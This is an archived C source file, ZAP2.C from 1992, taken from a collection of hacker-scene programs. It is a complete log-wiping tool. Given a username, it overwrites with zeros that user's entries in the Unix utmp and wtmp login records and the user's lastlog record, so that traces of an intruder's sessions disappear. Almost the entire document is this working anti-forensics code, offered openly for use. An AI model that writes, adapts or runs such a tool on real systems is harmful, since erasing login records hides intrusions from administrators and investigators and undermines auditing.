home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ZAP.ZIP / ZAP2.C < prev   
C/C++ Source or Header  |  1992-09-28  |  2KB  |  89 lines

  1.  
  2.  
  3. #include <sys/types.h>
  4. #include <stdio.h>
  5. #include <unistd.h>
  6. #include <sys/file.h>
  7. #include <fcntl.h>
  8. #include <utmp.h>
  9. #include <pwd.h>
  10. #include <lastlog.h>
  11. #define WTMP_NAME "/usr/adm/wtmp"
  12. #define UTMP_NAME "/etc/utmp"
  13. #define LASTLOG_NAME "/usr/adm/lastlog"
  14.  
  15. int f;
  16.  
  17. void kill_utmp(who)
  18. char *who;
  19. {
  20.     struct utmp utmp_ent;
  21.  
  22.   if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  23.      while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  24.        if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  25.                  bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  26.                  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  27.                  write (f, &utmp_ent, sizeof (utmp_ent));
  28.             }
  29.      close(f);
  30.   }
  31. }
  32.  
  33. void kill_wtmp(who)
  34. char *who;
  35. {
  36.     struct utmp utmp_ent;
  37.     long pos;
  38.  
  39.     pos = 1L;
  40.     if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  41.  
  42.      while(pos != -1L) {
  43.         lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  44.         if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  45.           pos = -1L;
  46.         } else {
  47.           if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  48.                bzero((char *)&utmp_ent,sizeof(struct utmp ));
  49.                lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  50.                write (f, &utmp_ent, sizeof (utmp_ent));
  51.                pos = -1L;
  52.           } else pos += 1L;
  53.         }
  54.      }
  55.      close(f);
  56.   }
  57. }
  58.  
  59. void kill_lastlog(who)
  60. char *who;
  61. {
  62.     struct passwd *pwd;
  63.     struct lastlog newll;
  64.  
  65.      if ((pwd=getpwnam(who))!=NULL) {
  66.  
  67.         if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  68.             lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  69.             bzero((char *)&newll,sizeof( newll ));
  70.             write(f, (char *)&newll, sizeof( newll ));
  71.             close(f);
  72.         }
  73.  
  74.     } else printf("%s: ?\n",who);
  75. }
  76.  
  77. main(argc,argv)
  78. int argc;
  79. char *argv[];
  80. {
  81.     if (argc==2) {
  82.         kill_lastlog(argv[1]);
  83.         kill_wtmp(argv[1]);
  84.         kill_utmp(argv[1]);
  85.         printf("Zap2!\n");
  86.     } else
  87.     printf("Error.\n");
  88. }
  89.